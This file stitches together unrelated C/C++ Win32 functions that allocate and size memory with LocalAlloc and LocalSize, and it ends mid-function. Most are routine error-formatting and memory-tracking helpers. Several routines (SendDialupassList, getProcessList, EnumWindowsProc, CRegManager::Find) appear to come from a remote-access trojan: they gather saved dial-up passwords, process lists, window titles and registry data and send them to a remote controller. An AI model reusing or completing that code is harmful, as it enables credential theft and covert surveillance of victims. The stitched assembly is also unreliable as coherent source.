HLOCAL WINAPI SHLocalReAlloc(HLOCAL hOld, UINT cbNew, UINT uFlags)
{
HLOCAL hNew;
int cbAllocOld, cbAllocNew;
cbAllocOld = LocalSize(hOld);
hNew = LocalReAlloc(hOld, cbNew, uFlags);
cbAllocNew = LocalSize(hNew);
g_cbAlloced += (cbAllocNew-cbAllocOld);
g_dwReallocs++;
DebugMsg(g_fAllocMsgs, TEXT("SHLocalRealloc: %#08x %#08x \t%d"), hNew, hOld, cbAllocNew);
return hNew;
}
// 继续写这个函数
void CSystemManager::SendDialupassList()
{
CDialupass pass;
int nPacketLen = 0;
for (int i = 0; i < pass.GetMax(); i++)
{
COneInfo *pOneInfo = pass.GetOneInfo(i);
for (int j = 0; j < STR_MAX; j++)
nPacketLen += lstrlen(pOneInfo->Get(j)) + 1;
}
nPacketLen += 1;
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, nPacketLen);
DWORD dwOffset = 1;
for (i = 0; i < pass.GetMax(); i++)
{
COneInfo *pOneInfo = pass.GetOneInfo(i);
for (int j = 0; j < STR_MAX; j++)
{
int nFieldLength = lstrlen(pOneInfo->Get(j)) + 1;
memcpy(lpBuffer + dwOffset, pOneInfo->Get(j), nFieldLength);
dwOffset += nFieldLength;
}
}
lpBuffer[0] = TOKEN_DIALUPASS;
Send((LPBYTE)lpBuffer, LocalSize(lpBuffer));
LocalFree(lpBuffer);
}
void ErrorHandler(LPTSTR lpszFunction)
{
// Retrieve the system error message for the last-error code.
LPVOID lpMsgBuf;
LPVOID lpDisplayBuf;
DWORD dw = GetLastError();
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
dw,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR) &lpMsgBuf,
0, NULL );
// Display the error message.
lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT,
(lstrlen((LPCTSTR) lpMsgBuf) + lstrlen((LPCTSTR) lpszFunction) + 40) * sizeof(TCHAR));
StringCchPrintf((LPTSTR)lpDisplayBuf,
LocalSize(lpDisplayBuf) / sizeof(TCHAR),
TEXT("%s failed with error %d: %s"),
lpszFunction, dw, lpMsgBuf);
MessageBox(NULL, (LPCTSTR) lpDisplayBuf, TEXT("Error"), MB_OK);
// Free error-handling buffer allocations.
LocalFree(lpMsgBuf);
LocalFree(lpDisplayBuf);
}
LPBYTE CSystemManager::getProcessList()
{
HANDLE hSnapshot = NULL;
HANDLE hProcess = NULL;
HMODULE hModules = NULL;
PROCESSENTRY32 pe32 = {0};
DWORD cbNeeded;
char strProcessName[MAX_PATH] = {0};
LPBYTE lpBuffer = NULL;
DWORD dwOffset = 0;
DWORD dwLength = 0;
DebugPrivilege(SE_DEBUG_NAME, TRUE);
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(hSnapshot == INVALID_HANDLE_VALUE)
return NULL;
pe32.dwSize = sizeof(PROCESSENTRY32);
lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024);
lpBuffer[0] = TOKEN_PSLIST;
dwOffset = 1;
if(Process32First(hSnapshot, &pe32))
{
do
{
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pe32.th32ProcessID);
if ((pe32.th32ProcessID !=0 ) && (pe32.th32ProcessID != 4))
{
EnumProcessModules(hProcess, &hModules, sizeof(hModules), &cbNeeded);
GetModuleFileNameEx(hProcess, hModules, strProcessName, sizeof(strProcessName));
// 此进程占用数据大小
dwLength = sizeof(DWORD) + lstrlen(pe32.szExeFile) + lstrlen(strProcessName) + 2;
// 缓冲区太小，再重新分配下
if (LocalSize(lpBuffer) < (dwOffset + dwLength))
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT|LMEM_MOVEABLE);
memcpy(lpBuffer + dwOffset, &(pe32.th32ProcessID), sizeof(DWORD));
dwOffset += sizeof(DWORD);
memcpy(lpBuffer + dwOffset, pe32.szExeFile, lstrlen(pe32.szExeFile) + 1);
dwOffset += lstrlen(pe32.szExeFile) + 1;
memcpy(lpBuffer + dwOffset, strProcessName, lstrlen(strProcessName) + 1);
dwOffset += lstrlen(strProcessName) + 1;
}
}
while(Process32Next(hSnapshot, &pe32));
}
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT|LMEM_MOVEABLE);
DebugPrivilege(SE_DEBUG_NAME, FALSE);
CloseHandle(hSnapshot);
return lpBuffer;
}
void errorExit(const std::string& functionName)
{
// Retrieve the system error message for the last-error code
LPVOID lpMsgBuf;
LPVOID lpDisplayBuf;
DWORD dw = GetLastError();
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
dw,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR)&lpMsgBuf,
0, NULL);
// Display the error message and exit the process
auto lpszFunctionStr = util::windowsStr(functionName);
lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT,
(lstrlen((LPCTSTR)lpMsgBuf) + lstrlen((LPCTSTR)lpszFunctionStr.c_str()) + 40) * sizeof(TCHAR));
StringCchPrintf((LPTSTR)lpDisplayBuf,
LocalSize(lpDisplayBuf) / sizeof(TCHAR),
TEXT("%s failed with error %d: %s"),
lpszFunctionStr.c_str(), dw, lpMsgBuf);
MessageBox(NULL, (LPCTSTR)lpDisplayBuf, TEXT("Error"), MB_OK);
DEBUG_BREAK;
LocalFree(lpMsgBuf);
LocalFree(lpDisplayBuf);
ExitProcess(dw);
}
void *SubAlloc(WORD wSeg, unsigned size)
/* wSeg is the global segment's selector */
{
HANDLE hBlock; /* better be a stack variable */
void *Block; /* better be a stack variable */
#if MEMTRACE
WORD RealSize = 0;/* better be a stack variable */
#endif
SWITCH_DS(wSeg)
hBlock = LocalAlloc (LMEM_FIXED | LMEM_NOCOMPACT, size);
/* no point attempting compaction: everything is FIXED
in this heap! */
if (hBlock) {
Block = (void*)(LPSTR)LocalLock (hBlock);
#if MEMTRACE
RealSize = LocalSize (hBlock);
#endif
}
RESTORE_DS
#if MEMTRACE
mtr[mtrx].m_func = MTR_SUBALLOC;
mtr[mtrx].m_ptr.m_block = hBlock ? Block : NULL;
mtr[mtrx].m_size = RealSize;
mtr[mtrx++].m_optimseg = OptimumSeg;
#endif
if (hBlock) return Block; /* success ! */
else return NULL; /* failure!! */
} /* SubAlloc */
bool CSystemManager::EnumWindowsProc(HWND hwnd, LPARAM lParam)
{
DWORD dwLength = 0;
DWORD dwOffset = 0;
DWORD dwProcessID = 0;
LPBYTE lpBuffer = *(LPBYTE *)lParam;
char strTitle[1024];
memset(strTitle, 0, sizeof(strTitle));
GetWindowText(hwnd, strTitle, sizeof(strTitle));
if (!IsWindowVisible(hwnd) || lstrlen(strTitle) == 0)
return true;
if (lpBuffer == NULL)
lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1);
dwLength = sizeof(DWORD) + lstrlen(strTitle) + 1;
dwOffset = LocalSize(lpBuffer);
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset + dwLength, LMEM_ZEROINIT|LMEM_MOVEABLE);
GetWindowThreadProcessId(hwnd, (LPDWORD)(lpBuffer + dwOffset));
memcpy(lpBuffer + dwOffset + sizeof(DWORD), strTitle, lstrlen(strTitle) + 1);
*(LPBYTE *)lParam = lpBuffer;
return true;
}
void BrainUtil::LogOutLastError(const CString& lpszFunction)
{
// Retrieve the system error message for the last-error code
LPVOID lpMsgBuf;
LPVOID lpDisplayBuf;
DWORD dw = GetLastError();
if(0 == dw)
return; // Don't need to log out the success information.
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
dw,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR) &lpMsgBuf,
0, NULL );
// Display the error message and exit the process
lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT,
(lstrlen((LPCTSTR)lpMsgBuf) + lstrlen((LPCTSTR)lpszFunction) + 40) * sizeof(TCHAR));
StringCchPrintf((LPTSTR)lpDisplayBuf,
LocalSize(lpDisplayBuf) / sizeof(TCHAR),
TEXT("%s failed with error %d: %s"),
(LPCTSTR)lpszFunction, dw, lpMsgBuf);
LogOut((LPTSTR)lpDisplayBuf, COLOR_RED);
LocalFree(lpMsgBuf);
LocalFree(lpDisplayBuf);
//ExitProcess(dw);
}
std::wstring Win32ErrorToString(const DWORD dwErrorCode) {
// Retrieve the system error message for the last-error code
LPVOID lpMsgBuf;
LPVOID lpDisplayBuf;
DWORD dw = GetLastError();
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
dw,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR) &lpMsgBuf,
0, NULL);
// Display the error message and return in
lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT,
(lstrlen((LPCTSTR)lpMsgBuf) +
lstrlen((LPCTSTR)dwErrorCode) + 40) * sizeof(TCHAR));
StringCchPrintf((LPTSTR)lpDisplayBuf,
LocalSize(lpDisplayBuf) / sizeof(TCHAR),
TEXT("%s failed with error %d: %s"),
dwErrorCode, dw, lpMsgBuf);
// MessageBox(NULL, (LPCTSTR)lpDisplayBuf, TEXT("Error"), MB_OK);
std::wstring strRet((LPTSTR)lpDisplayBuf);
LocalFree(lpMsgBuf);
LocalFree(lpDisplayBuf);
return strRet;
}
// 函数功能：根据指定的错误代码，获取对应的错误描述信息
void GetErrorReason(__in const DWORD dwErrCode, __out CString & strErrMsg)
{
// Retrieve the system error message for the last-error code
LPVOID lpMsgBuf = NULL;
LPVOID lpDisplayBuf = NULL;;
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
dwErrCode,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR)&lpMsgBuf,
0, NULL);
// Display the error message and exit the process
lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT,
(_tcslen((LPCTSTR)lpMsgBuf) + 40)*sizeof(TCHAR));
if (lpDisplayBuf)
{
StringCchPrintf((LPTSTR)lpDisplayBuf,
LocalSize(lpDisplayBuf),
_T("%s"),
lpMsgBuf);
strErrMsg.Format(_T("%s"), lpDisplayBuf);
}
lpMsgBuf ? LocalFree(lpMsgBuf) : 0;
lpDisplayBuf ? LocalFree(lpDisplayBuf) : 0;
}
void ErrorExit(HANDLE hContact,LPTSTR lpszFunction)
{
// Retrieve the system error message for the last-error code
LPVOID lpMsgBuf;
LPVOID lpDisplayBuf;
DWORD dw = GetLastError();
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
dw,
MAKELANGID(LANG_GERMAN, SUBLANG_GERMAN),
(LPTSTR) &lpMsgBuf,
0, NULL );
// Display the error message and exit the process
lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT,
(lstrlen((LPCTSTR)lpMsgBuf) + lstrlen((LPCTSTR)lpszFunction) + 40) * sizeof(TCHAR));
StringCchPrintf((LPTSTR)lpDisplayBuf,
LocalSize(lpDisplayBuf) / sizeof(TCHAR),
TEXT("%s failed with error %d: %s"),
lpszFunction, dw, lpMsgBuf);
ShowDebugPopup(hContact,TEXT("Error"), (LPCTSTR)lpDisplayBuf);
LocalFree(lpMsgBuf);
LocalFree(lpDisplayBuf);
}
void PrintLoadError(const char* so_name)
{
// Retrieve the system error message for the last-error code
LPVOID lpMsgBuf;
LPVOID lpDisplayBuf;
DWORD dw = GetLastError();
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
dw,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR) &lpMsgBuf,
0, NULL );
// Display the error message and exit the process
lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT,
(lstrlen((LPCTSTR)lpMsgBuf) + lstrlen((LPCTSTR)so_name) + 40) * sizeof(TCHAR));
_snprintf((LPTSTR)lpDisplayBuf, LocalSize(lpDisplayBuf) / sizeof(TCHAR),
TEXT("error loading %s err = %s"), so_name, lpMsgBuf);
jack_error((LPCTSTR)lpDisplayBuf);
LocalFree(lpMsgBuf);
LocalFree(lpDisplayBuf);
}
UINT _ValidateLocalMem(HLOCAL hMem, LPARAM lParam, LPCSTR pszText)
{
UINT uByte = 0;
if (hMem)
{
UINT uSize = LocalSize(hMem);
if (uSize)
{
LPARAM lParamStored;
uByte = *(UINT*)HMEM2PTR(hMem, uSize-sizeof(UINT));
AssertMsg(uByte+CBALLOCEXTRA <= uSize,
"cm ASSERT! Bogus uByte %d (%s for %x)",
uByte, pszText, hMem);
lParamStored = *(LPARAM*)HMEM2PTR(hMem, uByte);
AssertMsg(lParamStored==lParam, "cm ASSERT! Bad Signiture %x (%s for %x)",
lParamStored, pszText, hMem);
}
else
{
AssertMsg(0, "cm ASSERT! LocalSize is zero (%s for %x)",
pszText, hMem);
}
}
return uByte;
}
/**
@brief This function is pretty much straight from http://msdn.microsoft.com/en-us/library/windows/desktop/ms680582(v=vs.85).aspx
@note It is edited for console output, but thats about it.
@param[in] lpszFunction - The function that failed.
@param[in] lpAdditionalHelp - Any sort of additional information that might be useful for the user.
@return Nothing, execution does not return from this function.
@private
**/
void ErrorExit(LPTSTR lpszFunction, LPCSTR lpAdditionalHelp)
{
// Retrieve the system error message for the last-error code
LPVOID lpMsgBuf;
LPVOID lpDisplayBuf;
DWORD dw = GetLastError();
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
dw,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR) &lpMsgBuf,
0, NULL );
// Display the error message and exit the process
lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT,
(lstrlen((LPCTSTR)lpMsgBuf) + lstrlen((LPCTSTR)lpszFunction) + 40) * sizeof(TCHAR));
StringCchPrintf((LPTSTR)lpDisplayBuf,
LocalSize(lpDisplayBuf) / sizeof(TCHAR),
TEXT("ERROR: %s failed with error %d: %s"),
lpszFunction, dw, lpMsgBuf);
//MessageBox(NULL, (LPCTSTR)lpDisplayBuf, TEXT("Error"), MB_OK);
wprintf((LPWSTR)lpDisplayBuf);
if(lpAdditionalHelp != NULL)
printf("ADDITIONAL HELP: %s\n",lpAdditionalHelp);
LocalFree(lpMsgBuf);
LocalFree(lpDisplayBuf);
ExitProcess(dw);
}
/*{
DWORD dwRead, dwWritten;
CHAR chBuf[BUFSIZE];
BOOL bSuccess = FALSE;
HANDLE hParentStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
for (;;)
{
bSuccess = ReadFile(g_hChildStd_OUT_Rd, chBuf, BUFSIZE, &dwRead, NULL);
if (!bSuccess || dwRead == 0) break;
bSuccess = WriteFile(hParentStdOut, chBuf,
dwRead, &dwWritten, NULL);
if (!bSuccess) break;
}
}
*/
void ErrorExit(PTSTR lpszFunction)
// Format a readable error message, display a message box,
// and exit from the application.
{
LPVOID lpMsgBuf;
LPVOID lpDisplayBuf;
DWORD dw = GetLastError();
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
dw,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR)&lpMsgBuf,
0, NULL);
lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT,
(lstrlen((LPCTSTR)lpMsgBuf) + lstrlen((LPCTSTR)lpszFunction) + 40)*sizeof(TCHAR));
StringCchPrintf((LPTSTR)lpDisplayBuf,
LocalSize(lpDisplayBuf) / sizeof(TCHAR),
TEXT("%s failed with error %d: %s"),
lpszFunction, dw, lpMsgBuf);
MessageBox(NULL, (LPCTSTR)lpDisplayBuf, TEXT("Error"), MB_OK);
LocalFree(lpMsgBuf);
LocalFree(lpDisplayBuf);
ExitProcess(1);
}
UINT FmtErrorMsg(HWND hwnd, DWORD dwMsgBoxType, DWORD dwError, TCHAR *szFmt, ...)
{
TCHAR *lpMsgBuf;
TCHAR *ptr;
UINT msgboxerr;
va_list varg;
va_start(varg, szFmt);
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL, dwError, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR) &lpMsgBuf, 0, NULL
);
ptr = LocalAlloc(LPTR, LocalSize(lpMsgBuf) + 1000 * sizeof(TCHAR));
_vstprintf(ptr, szFmt, varg);
_tcscat(ptr, lpMsgBuf);
msgboxerr = MessageBox(hwnd, ptr, APP_TITLE, dwMsgBoxType);
LocalFree( lpMsgBuf );
LocalFree( ptr );
va_end(varg);
return msgboxerr;
}
// from http://msdn.microsoft.com/ru-RU/library/windows/desktop/ms680582(v=vs.85).aspx
CString GetLastErrorMsg(LPTSTR lpszFunction, DWORD dw/* = GetLastError()*/)
{
LPVOID lpMsgBuf;
LPVOID lpDisplayBuf;
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
dw,
MAKELANGID(LANG_ENGLISH, SUBLANG_ENGLISH_US),
//MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // default system language
(LPTSTR)&lpMsgBuf,
0, NULL);
// Format the error message
lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT,
(lstrlen((LPCTSTR)lpMsgBuf) + lstrlen((LPCTSTR)lpszFunction) + 40) * sizeof(TCHAR));
StringCchPrintf((LPTSTR)lpDisplayBuf,
LocalSize(lpDisplayBuf) / sizeof(TCHAR),
L"Function '%s' failed with error %d: %s",
lpszFunction, dw, lpMsgBuf);
CString ret = (LPCTSTR)lpDisplayBuf;
LocalFree(lpMsgBuf);
LocalFree(lpDisplayBuf);
return ret;
}
void LastErrorMessageBox(HWND hwnd, LPTSTR lpszError)
{
// Retrieve the system error message for the last-error code
LPVOID lpMsgBuf;
LPVOID lpDisplayBuf;
DWORD dw = GetLastError();
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_FROM_HMODULE |
FORMAT_MESSAGE_IGNORE_INSERTS,
GetModuleHandle(_T("wininet.dll")),
dw,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR) &lpMsgBuf,
0, NULL );
// Display the error message
lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT,
(lstrlen((LPCTSTR)lpMsgBuf) + lstrlen((LPCTSTR)lpszError) + 40) * sizeof(TCHAR));
StringCchPrintf((LPTSTR)lpDisplayBuf,
LocalSize(lpDisplayBuf) / sizeof(TCHAR),
TEXT("%s\n\nError %d: %s"),
lpszError, dw, lpMsgBuf);
MessageBox(hwnd, (LPCTSTR)lpDisplayBuf, szTitle, MB_OK | MB_ICONERROR);
LocalFree(lpMsgBuf);
LocalFree(lpDisplayBuf);
}
std::string Utils::GetLastError() {
LPVOID lpErrMsgBuf;
LPVOID lpMessageBuf;
DWORD dwErrorCode = ::GetLastError();
// Get the string corresponding to the error code
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER
| FORMAT_MESSAGE_FROM_SYSTEM
| FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
dwErrorCode,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR)&lpErrMsgBuf,
0,
NULL);
// Allocate a bigger buffer
lpMessageBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT,
(lstrlen((LPCTSTR)lpErrMsgBuf)+40)*sizeof(TCHAR));
// Format the message like so: "error 'code': 'message'"
StringCchPrintf((LPTSTR)lpMessageBuf,
LocalSize(lpMessageBuf) / sizeof(TCHAR),
TEXT("error %d: %s"),
dwErrorCode, lpErrMsgBuf);
std::wstring wsMessage((LPCTSTR)lpMessageBuf);
LocalFree(lpErrMsgBuf);
LocalFree(lpMessageBuf);
return narrowString(wsMessage);
}
void ReportError(LPTSTR lpszFunction)
{
// Retrieve the system error message for the last-error code
LPVOID lpMsgBuf;
LPVOID lpDisplayBuf;
DWORD dw = GetLastError();
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
dw,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR) &lpMsgBuf,
0, NULL );
// Display the error message and exit the process
lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT,
(lstrlen((LPCTSTR)lpMsgBuf) + lstrlen((LPCTSTR)lpszFunction) + 40) * sizeof(TCHAR));
StringCchPrintf((LPTSTR)lpDisplayBuf,
LocalSize(lpDisplayBuf) / sizeof(TCHAR),
TEXT("%s failed with error %d: %s"),
lpszFunction, dw, lpMsgBuf);
//GLogger << FATAL << lpDisplayBuf << std::endl;
LocalFree(lpMsgBuf);
LocalFree(lpDisplayBuf);
ExitProcess(dw);
}
void Die(LPTSTR lpszFunction)
{
// Retrieve the system error message for the last-error code
LPVOID lpMsgBuf;
LPVOID lpDisplayBuf;
DWORD dwError = GetLastError();
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
dwError,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR) &lpMsgBuf,
0, NULL );
// Display the error message and exit the process
lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT,
(lstrlen((LPCTSTR)lpMsgBuf) + lstrlen((LPCTSTR)lpszFunction) + 40) * sizeof(TCHAR));
StringCchPrintf((LPTSTR)lpDisplayBuf,
LocalSize(lpDisplayBuf) / sizeof(TCHAR),
TEXT("%s failed with error 0x%x: %s"),
lpszFunction, dwError, lpMsgBuf);
MessageBox(NULL, (LPCTSTR)lpDisplayBuf, TEXT("Media Key Simulator"), MB_ICONSTOP);
LocalFree(lpMsgBuf);
LocalFree(lpDisplayBuf);
ExitProcess(dwError);
}
// dir = direction multiplier (drawing up or down)
// yTic = where (vertically) to draw the line of tics
void CXTPSkinObjectTrackBar::DrawTicsOneLine(CDC* pDC, int dir, int yTic)
{
const RECT& rc = m_drawRect.rc;
BOOL bVert = GetStyle() & TBS_VERT;
CXTPSkinManagerClass* pClass = GetSkinClass();
COLORREF clrTick = pClass->GetThemeColor(bVert ? TKP_TICSVERT : TKP_TICS, 1, TMT_COLOR, GetColor(COLOR_BTNTEXT));
DrawTic(pDC, rc.left, yTic, dir, clrTick);
DrawTic(pDC, rc.left, yTic + (dir * 1), dir, clrTick);
DrawTic(pDC, rc.right-1, yTic, dir, clrTick);
DrawTic(pDC, rc.right-1, yTic+ (dir * 1), dir, clrTick);
PDWORD pTics = (PDWORD)SendMessage(TBM_GETPTICS);
int iPos;
int i;
int nTics = pTics ? (int)LocalSize((HANDLE)pTics) / sizeof(DWORD) : 0;
// those inbetween
if (m_nTickFreq && pTics)
{
for (i = 0; i < nTics; ++i)
{
if (((i + 1) % m_nTickFreq) == 0)
{
iPos = LogToPhys(pTics[i]);
DrawTic(pDC, iPos, yTic, dir, clrTick);
}
}
}
int lSelStart = (int)SendMessage(TBM_GETSELSTART);
int lSelEnd = (int)SendMessage(TBM_GETSELEND);
int lLogMin = (int)SendMessage(TBM_GETRANGEMIN);
// draw the selection range (triangles)
if ((GetStyle() & TBS_ENABLESELRANGE) &&
(lSelStart < lSelEnd) && (lSelEnd >= lLogMin))
{
pDC->SetBkColor(clrTick);
iPos = LogToPhys(lSelStart);
for (i = 0; i < TICKHEIGHT; i++)
PatRect(pDC,iPos-i,yTic+(dir==1 ? i : -TICKHEIGHT),
1,TICKHEIGHT-i, GetStyle() & TBS_VERT, GetColor(COLOR_BTNTEXT));
iPos = LogToPhys(lSelEnd);
for (i = 0; i < TICKHEIGHT; i++)
PatRect(pDC,iPos+i,yTic+(dir==1 ? i : -TICKHEIGHT),
1,TICKHEIGHT-i, GetStyle() & TBS_VERT, GetColor(COLOR_BTNTEXT));
}
}
static void test_IMalloc(void)
{
LPVOID lpMem;
ULONG ulRef;
int iRet;
HRESULT hRet;
LPMALLOC lpMalloc;
LPVOID lpVoid;
pMAPIGetDefaultMalloc = (void*)GetProcAddress(hMapi32,
"MAPIGetDefaultMalloc@0");
if (!pMAPIGetDefaultMalloc)
{
win_skip("MAPIGetDefaultMalloc is not available\n");
return;
}
lpMalloc = pMAPIGetDefaultMalloc();
ok(lpMalloc != NULL, "Expected MAPIGetDefaultMalloc to return non-NULL\n");
if (!lpMalloc)
{
skip("MAPIGetDefaultMalloc failed\n");
return;
}
lpVoid = NULL;
hRet = IMalloc_QueryInterface(lpMalloc, &IID_IUnknown, &lpVoid);
ok (hRet == S_OK && lpVoid != NULL,
"IID_IUnknown: expected S_OK, non-null, got 0x%08x, %p\n",
hRet, lpVoid);
lpVoid = NULL;
hRet = IMalloc_QueryInterface(lpMalloc, &IID_IMalloc, &lpVoid);
ok (hRet == S_OK && lpVoid != NULL,
"IID_IIMalloc: expected S_OK, non-null, got 0x%08x, %p\n",
hRet, lpVoid);
/* Prove that native mapi uses LocalAlloc/LocalFree */
lpMem = IMalloc_Alloc(lpMalloc, 61);
ok (lpMem && IMalloc_GetSize(lpMalloc, lpMem) == LocalSize(lpMem),
"Expected non-null, same size, got %p, %s size\n", lpMem,
lpMem ? "different" : "same");
iRet = IMalloc_DidAlloc(lpMalloc, lpMem);
ok (iRet == -1, "DidAlloc, expected -1. got %d\n", iRet);
IMalloc_HeapMinimize(lpMalloc);
LocalFree(lpMem);
ulRef = IMalloc_AddRef(lpMalloc);
ok (ulRef == 1u, "AddRef expected 1, returned %d\n", ulRef);
ulRef = IMalloc_Release(lpMalloc);
ok (ulRef == 1u, "AddRef expected 1, returned %d\n", ulRef);
IMalloc_Release(lpMalloc);
}
bool opLoadLib(LibHandle* handle, const char* libpath)
{
if (handle == nullptr || libpath == nullptr || strlen(libpath) == 0)
{
LOG_ERROR(opLib) << "opLoadLib: No library specified";
return false;
}
#ifdef _MSC_VER
const size_t size = strlen(libpath) + 1;
std::wstring path(size, L'#');
size_t convnum = 0;
mbstowcs_s(&convnum, &path[0], size, libpath, _TRUNCATE);
*handle = LoadLibrary(path.c_str());
if (*handle == nullptr)
{
LPVOID lpMsgBuf;
LPVOID lpDisplayBuf;
DWORD dwErr = GetLastError();
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
dwErr,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR) &lpMsgBuf,
0, NULL);
lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT,
(lstrlen((LPCTSTR)lpMsgBuf) + 40) * sizeof(TCHAR));
StringCchPrintf((LPTSTR)lpDisplayBuf,
LocalSize(lpDisplayBuf) / sizeof(TCHAR),
TEXT("error %d: %s"),
dwErr, lpMsgBuf);
std::string errMsg = MBFromW((LPCTSTR)lpDisplayBuf, CP_ACP);
LOG_ERROR(opLib) << "opLoadLib('" << libpath << "') " << errMsg;
LocalFree(lpMsgBuf);
LocalFree(lpDisplayBuf);
return false;
}
#else
*handle = dlopen(libpath, RTLD_NOW);
if (*handle == nullptr)
{
LOG_ERROR(opLib) << "dlopen('" << libpath << "') failed: " << dlerror();
return false;
}
#endif
return true;
}
void CRegManager::Find(char bToken, char *path)
{
RegeditOpt reg(bToken);
if(path!=NULL){
reg.SetPath(path);
}
char *tmp= reg.FindPath();
if(tmp!=NULL){
Send((LPBYTE)tmp, LocalSize(tmp));
LocalFree(tmp);
}
char* tmpd=reg.FindKey();
if(tmpd!=NULL){
Send((LPBYTE)tmpd, LocalSize(tmpd));
LocalFree(tmpd);
}
}
HLOCAL WINAPI SHLocalFree(HLOCAL h)
{
int cbFree;
cbFree = LocalSize(h);
g_cbAlloced -= cbFree;
g_dwFrees++;
DebugMsg(g_fAllocMsgs, TEXT("SHLocalFree : %#08x %d"), h, cbFree);
return LocalFree(h);
}
void _StoreSigniture(HLOCAL hMem, UINT uByte, LPARAM lParam)
{
if (hMem)
{
UINT uSize = LocalSize(hMem);
Assert(uSize>=uByte+CBALLOCEXTRA);
*(UINT*)HMEM2PTR(hMem, uSize-sizeof(UINT)) = uByte;
*(LPARAM*)HMEM2PTR(hMem, uByte) = lParam;
}
}
HLOCAL WINAPI MemMon_LogLocalAlloc(HLOCAL h)
{
